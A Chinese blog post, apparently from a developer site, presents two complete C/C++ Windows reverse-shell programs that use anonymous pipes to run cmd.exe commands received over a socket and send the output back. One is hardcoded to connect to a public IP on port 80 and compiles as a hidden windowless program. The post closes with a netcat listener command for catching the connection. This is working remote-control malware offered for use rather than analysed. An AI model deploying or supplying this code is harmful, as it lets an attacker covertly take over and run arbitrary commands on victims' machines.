C/C++ 匿名管道反弹CMDShell

这段代码是一个在Windows平台下实现的反向连接(reverse shell)程序。它使用Winsock库进行网络通信,并通过创建套接字与指定的远程主机建立连接。一旦连接成功,程序可以接收本地输入的命令,并在远程主机上执行这些命令,并将命令的输出返回到本地主机。然后,程序通过管道将命令输出发送回本地,并持续监听新的命令输入。

概述:

  1. 包含必要的头文件,并设置链接器指令。
  2. 初始化Winsock(WSAStartup)。
  3. 创建套接字,用于与远程主机建立连接。
  4. 循环尝试连接远程主机,直到连接成功。
  5. 成功连接后,发送连接成功信息到远程主机。
  6. 循环接收本地输入的命令,通过管道执行命令,并将命令输出发送到远程主机。
  7. 若远程主机断开连接,则程序自动退出。
#pragma comment(lib,"ws2_32.lib")
#ifdef _MSC_VER
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#endif

#include <winsock2.h>
#include <windows.h>

int main(int argc, char **argv)
{
    char *messages = "======================== Connect successful !========================\n";
    WSADATA WSAData;
    SOCKET sock; //创建套接字
    SOCKADDR_IN addr_in;
    char buf[1024]; //buf作为socket接收数据的缓冲区
    memset(buf, 0, 1024); //清空缓冲区

    WSAStartup(MAKEWORD(2, 2), &WSAData); //初始化ws2

    addr_in.sin_family = AF_INET;
    addr_in.sin_port = htons(80); //反向连接的远端主机端口
    addr_in.sin_addr.S_un.S_addr = inet_addr("59.110.167.239"); //远端IP

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    while (WSAConnect(sock, (struct sockaddr *)&addr_in, sizeof(addr_in), NULL, NULL, NULL, NULL) == SOCKET_ERROR) //连接客户主机
    {
        Sleep(5000); //连接失败,停顿5s,再试
        continue;
    }

    send(sock, messages, strlen(messages), 0); //发送success信息

    char buffer[2048] = { 0 };//管道输出的数据

    for (char cmdline[270];; memset(cmdline, 0, sizeof(cmdline))){
        SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
        HANDLE hRead, hWrite;
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;

        CreatePipe(&hRead, &hWrite, &sa, 0); //创建管道

        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        si.cb = sizeof(STARTUPINFO);
        GetStartupInfo(&si); //STARTUPINFO 结构
        si.hStdError = hWrite;
        si.hStdOutput = hWrite;
        si.wShowWindow = SW_HIDE; //隐藏窗口
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

        GetSystemDirectory(cmdline, MAX_PATH + 1); //获得系统路径
        strcat(cmdline, "//cmd.exe /c"); //路径+/cmd.exe

        int len = recv(sock, buf, 1024, NULL);
        if (len == SOCKET_ERROR) exit(0); //如果客户端断开连接,则自动退出程序

        strncat(cmdline, buf, strlen(buf)); //把命令参数复制到cmdline
        CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi); //创建进程

        CloseHandle(hWrite);

        for (DWORD bytesRead; ReadFile(hRead, buffer, 2048, &bytesRead, NULL); //循环读取管道中数据并发送,直到管道中没有数据为止
            memset(buffer, 0, 2048)){
            send(sock, buffer, strlen(buffer), 0);
        }
    }
    return 0;
}
该段代码是一个用于Windows平台的反向Shell程序,它通过在被控制端和控制端之间建立网络连接,实现远程控制和命令执行。程序使用Winsock库进行网络通信,通过socket连接指定的IP地址和端口。它在被控制端创建管道来重定向控制台命令输出,并将命令执行结果发送回控制端。控制端可以向被控制端发送命令,被控制端接收并执行这些命令,并将执行结果返回给控制端。

主要功能包括:

  1. 使用Winsock库进行网络通信,通过socket连接指定的IP地址和端口。
  2. 通过创建管道,将控制台命令输出重定向到管道中,并通过网络发送到控制端。
  3. 监听控制端发送的命令,并在被控制端执行这些命令。
  4. 将命令执行结果返回给控制端。
#include <Windows.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")

HANDLE g_hinputPipe, g_houtputPipe;
HANDLE g_hThread;
DWORD g_dwThreadId;
const unsigned short PORT = 4900;
const char * REMOTE_ADDR = "127.0.0.1";
const unsigned int MAXSTR = 255;

//收发信息
bool sendData(SOCKET sSock, char *cmdline, const char* sockData)
{
    ZeroMemory(cmdline, MAXSTR);
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    while (!CreatePipe(&g_houtputPipe, &g_hinputPipe, &sa, 0))
    {
        Sleep(1000);
    }
    Sleep(200);
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    GetStartupInfo(&si);
    si.hStdError = g_hinputPipe;
    si.hStdOutput = g_hinputPipe;
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    GetSystemDirectory(cmdline, MAXSTR);
    strcat_s(cmdline, MAXSTR, "\\cmd.exe /c ");
    strcat_s(cmdline, MAXSTR, sockData);
    while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
    {
        Sleep(1000);
    }
    WaitForSingleObject(pi.hProcess, 10000);
    return true;
}

//被控端管道信息回传监控
DWORD WINAPI WatchData(LPVOID lprarm)
{
    unsigned int g_Ret = 0;
    DWORD dwTotalAvail = 0;
    DWORD realReadLen = 0;
    char readBuffer[4096] = "\0";
    SOCKET sSock = (SOCKET)lprarm;
    while (true)
    {
        g_Ret = PeekNamedPipe(g_houtputPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
        if (g_Ret && dwTotalAvail > 0)
        {
            Sleep(300);
            g_Ret = ReadFile(g_houtputPipe, readBuffer, 4096, &realReadLen, NULL);
            if (g_Ret && realReadLen > 0)
            {
                Sleep(200);
                strcat_s(readBuffer, 4096, "\r\nCMD >");
                send(sSock, readBuffer, strlen(readBuffer), 0);
                ZeroMemory(readBuffer, 4096);
            }
        }
    }
    return 0;
}

//主函数
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
    char sendError[30] = "[*] Send Error !\r\n\r\n";
    char cmdline[MAXSTR] = "\0";
    char sockData[MAXSTR] = "\0";
    int sockDataLen = 0;
    SOCKET sSock;
    sockaddr_in sockAddr;
    WSADATA wsd;
    if (WSAStartup(MAKEWORD(2, 2), &wsd)) return 0;
    if ((sSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) return 0;
    sockAddr.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);
    sockAddr.sin_family = AF_INET;
    sockAddr.sin_port = htons(PORT);
    while (connect(sSock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == SOCKET_ERROR)
    {
        Sleep(2000);
        continue;
    }

    g_hThread = CreateThread(NULL, 0, WatchData, LPVOID(sSock), 0, &g_dwThreadId);
    while (true)
    {
        while ((sockDataLen = recv(sSock, sockData, MAXSTR, 0)) == SOCKET_ERROR)
        {
            Sleep(1000);
        }
        if (!sendData(sSock, cmdline, sockData))
        {
            send(sSock, sendError, strlen(sendError), 0);
        }
        ZeroMemory(sockData, MAXSTR);
    }

    WaitForSingleObject(g_hThread, INFINITE);
    CloseHandle(g_hinputPipe);
    CloseHandle(g_houtputPipe);
    closesocket(sSock);
    WSACleanup();
    ExitProcess(0);
    return 0;
}

下载NC netcat 1.11 for Win32/Win64

nc执行命令:nc命令 : -l -v -p [端口] 等待上线

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值